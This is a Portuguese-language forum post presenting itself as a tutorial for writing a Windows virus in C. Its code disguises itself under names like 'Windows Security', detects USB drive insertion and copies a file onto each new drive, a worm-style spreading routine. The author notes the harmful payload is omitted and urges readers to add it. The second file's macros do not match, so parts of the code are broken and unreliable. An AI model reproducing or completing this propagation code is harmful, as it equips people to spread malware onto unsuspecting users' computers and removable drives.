Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Criando Vírus para Windows(com exemplo em C)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Criando Vírus para Windows(com exemplo em C)

    Introdução:
    Irei demonstra a criação de um vírus simples para Windows. Este vírus detecta quando um pendrive é inserido e se copia para ele. Deixei a parte pontencialmente perigosa de fora. Mas você pode fazê-la facilmente.

    Vamos ao código(desculpem a falta de identação, o forum não possui <TAB>):

    Esta parte do código vai no arquivo main.c:
    Irei comentar as partes mais importantes apenas...

    #include <windows.h>
    #include "pendrive.c"
    LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
    char szClassName[ ] = "Windows Service Provider";

    int WINAPI WinMain (HINSTANCE hThisInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpszArgument,
    int nFunsterStil)

    {

    HWND hwnd;
    MSG messages;
    WNDCLASSEX wincl;

    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;
    wincl.style = CS_DBLCLKS;
    wincl.cbSize = sizeof (WNDCLASSEX);

    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;


    RegisterClassEx(&wincl);
    hwnd = CreateWindowEx(

    0,

    szClassName,

    "Windows Security",

    WS_OVERLAPPEDWINDOW,

    CW_USEDEFAULT,

    CW_USEDEFAULT,

    300,

    300,

    HWND_DESKTOP,

    NULL,

    hThisInstance,

    NULL

    );

    while (GetMessage (&messages, NULL, 0, 0))
    {
    TranslateMessage(&messages);
    DispatchMessage(&messages);
    }


    return messages.wParam;

    }

    LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
    switch (message)
    {
    // Esta é a parte mais importante.
    // Toda vez que um pendrive for conectado vai ser chamada a função
    \\CopyToPendrive(char path[]).



    case WM_DEVICECHANGE:
    if (wParam == DBT_DEVICEARRIVAL) {
    char RootPath[4] = "A:\\"; //toma a primeira unidade como ponto de partida
    int i;
    if (((DEV_BROADCAST_HDR *) lParam)->dbch_devicetype == DBT_DEVTYP_VOLUME) {
    DWORD Mask = ((DEV_BROADCAST_VOLUME *) lParam)->dbcv_unitmask;
    for (i=0;i< 32; ++i) {
    if (Mask & (1 << i)) {

    RootPath[0] += i; //incrementa letra da unidade para encontrar a ultima.

    }
    }
    CopyToPendrive(RootPath); //chama a função
    }

    }
    break;

    default:
    return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
    }

    Fim do arquivo main.c ...


    Esta parte do código vai no arquivo pendrive.c:
    #define PATH_ARQUIVO "ondesEstáSeuArquivo.???"
    #define NOME_DO_ARQUIVO
    int CopyToPendrive(char path[]){
    char path_to[255];
    lstrcpy(path_to,path);

    lstrcat(path_to,ARQUIVO);

    CopyFile(PATH_DO_ARQUIVO, path_to, FALSE);

    }


    Pronto. AI está.

    Para tornar este virus funcional falta só a "maldade"...
    Abraço.
X
Working...
X